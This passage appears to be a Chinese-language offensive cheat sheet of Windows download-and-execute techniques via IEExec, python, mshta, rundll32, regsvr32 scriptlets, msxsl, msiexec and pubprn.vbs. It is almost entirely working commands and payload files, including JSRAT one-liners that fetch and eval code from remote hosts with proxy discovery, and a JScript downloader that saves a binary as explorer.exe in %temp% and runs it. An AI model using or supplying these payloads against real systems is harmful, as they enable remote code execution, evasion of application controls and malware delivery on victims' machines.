C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec http://192.168.3.1/test.exe
8.python
C:\python27\python.exe -c “import urllib2; exec urllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”
9.mshta
mshta http://192.168.3.1/run.hta
run.hta 内容如下:
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c net user" // 这里填写命令
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
mshta是用来执行hta文件的,经过测试发现,其实没有hta文件,也可以通过mshta来执行命令的,经过几次测试发现mshta不仅可以使用vbscript,而且可以使用javascript来执行命令,整理payload如下:
VBSCRIPT EXEC
mshta vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)
JAVASCRIPT EXEC
mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}
JSRAT
mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.2.101:9998/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}
10.rundll32
其实还是依赖于WScript.shell这个组件
默认方式
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%
Use SCT
regsvr32 /u /s /i:http://urlto/calc.sct scrobj.dll
calc.sct:
<?XML version="1.0"?>
<scriptlet><registrationdescription="Empire"progid="Empire"version="1.00"classid="{20001111-0000-0000-0000-0000FEEDACDC}"><!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll --><!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll --><!-- That should work over a proxy and SSL/TLS... --><!-- Proof Of Concept - Casey Smith @subTee --><script language="JScript"><![CDATA[var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]>
</script>
</registration><public><method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[function Exec(){var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");}]]>
</script></scriptlet>
运行JSRAT:
regsvr32 /s /n /u /i:http://urlto/JSRAT.sct scrobj.dll
JSRAT.sct
<?XML version="1.0"?>
<scriptlet>
<registration progid="ShortJSRAT"classid="{10001111-0000-0000-0000-0000FEEDACDC}" ><!-- Learn from Casey Smith @subTee --><script language="JScript"><![CDATA[rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"http://127.0.0.1/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";new ActiveXObject("WScript.Shell").Run(rat,0,true);]]>
</script>
</registration>
</scriptlet>
USE PNG
regsvr32 /u /s /i:http://site.com/js.png scrobj.dll
js.png
<?XML version="1.0"?>
<let>
<registration progid="ShortJSRAT"classid="{10001111-0000-0000-0000-0000FEEDACDC}" ><!-- Learn from Casey Smith @subTee -->< language="J"><![CDATA[ps = "cmd.exe /c calc.exe";new ActiveXObject("W.Shell").Run(ps,0,true);]]></>
</registration>
</let>
Use WSC
运行计算器
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://urlto/calc.wsc")
calc.wsc
<?xml version="1.0"?><package>
<component id="testCalc"><script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script></component>
</package>
运行JSRAT
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://urlto/JSRAT.wsc")
JSRAT.wsc:
<?xml version="1.0"?><package>
<component id="testCalc"><script language="JScript">
<![CDATA[rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"http://127.0.0.1/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";new ActiveXObject("WScript.Shell").Run(rat,0,true);
]]>
</script></component>
</package>
11.regsvr32
regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll
test.data内容:
<?XML version="1.0"?>
<scriptlet>
<registrationprogid="ShortJSRAT"classid="{10001111-0000-0000-0000-0000FEEDACDC}" ><!-- Learn from Casey Smith @subTee --><script language="JScript"><![CDATA[ps = "cmd.exe /c calc.exe";new ActiveXObject("WScript.Shell").Run(ps,0,true);]]>
</script>
</registration>
</scriptlet>
还可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct(COM scriptlet - requires a webserver to stage the payload)
regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll
12.MSXSL.EXE
msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。
下载地址为:
Command Line Transformation Utility (msxsl.exe)
https://www.microsoft.com/en-us/download/details.aspx?id=21714
msxsl.exe 需要接受两个文件,XML及XSL文件,命令行操作如下:
msxsl.exe demo.xml exec.xsl
demo.xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="exec.xsl" ?>
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>
exec.xsl
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace"><msxsl:script language="JScript" implements-prefix="user">function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");return nodelist.nextNode().xml;}
</msxsl:script>
<xsl:template match="/"><xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
同样的,msxsl.exe可以远程加载,具体方式如下:
msxsl https://website.com/scripts/demo.xml https://website.com/scripts/exec.xsl
MSF生成MSI:
msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.msi
命令行运行:
msiexec /quiet /i cacl.msi
将payload放在远程服务器上运行:
https://website.com/payloads/calc.png
13.JS下载者
<?XML version="1.0"?>
<scriptlet>
<registrationprogid="ShortJSRAT"classid="{10001111-0000-0000-0000-0000FEEDACDC}" ><!-- Learn from Casey Smith @subTee --><script language="JScript"><![CDATA[var WSHShell = new ActiveXObject("WScript.Shell");path = WSHShell.ExpandEnvironmentStrings("%temp%");var filepath = path+"/explorer.exe";var xhr = new ActiveXObject("MSXML2.XMLHTTP");xhr.open("GET","http://x.x.x.x/bd.exe", false);xhr.send();if (xhr.Status == 200) {var fso = new ActiveXObject("Scripting.FileSystemObject");var stream = new ActiveXObject("ADODB.Stream");stream.Open();stream.Type = 1;stream.Write(xhr.ResponseBody);stream.Position = 0;if (fso.FileExists(filepath)){fso.DeleteFile(filepath);}stream.SaveToFile(filepath);stream.Close();new ActiveXObject("WScript.Shell").Exec(filepath);}]]>
</script>
</registration>
</scriptlet>
14.pubprn.vbs
在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts\en-US,仔细观察该脚本可以发现其显然是由用户提供输入(通过命令行参数),之后再将参数传递给GetObject()
"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
test.sct
<?XML version="1.0"?>
<scriptlet>
<registrationdescription="Bandit"progid="Bandit"version="1.00"classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"remotable="true">
</registration>
<script language="JScript">
<![CDATA[var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>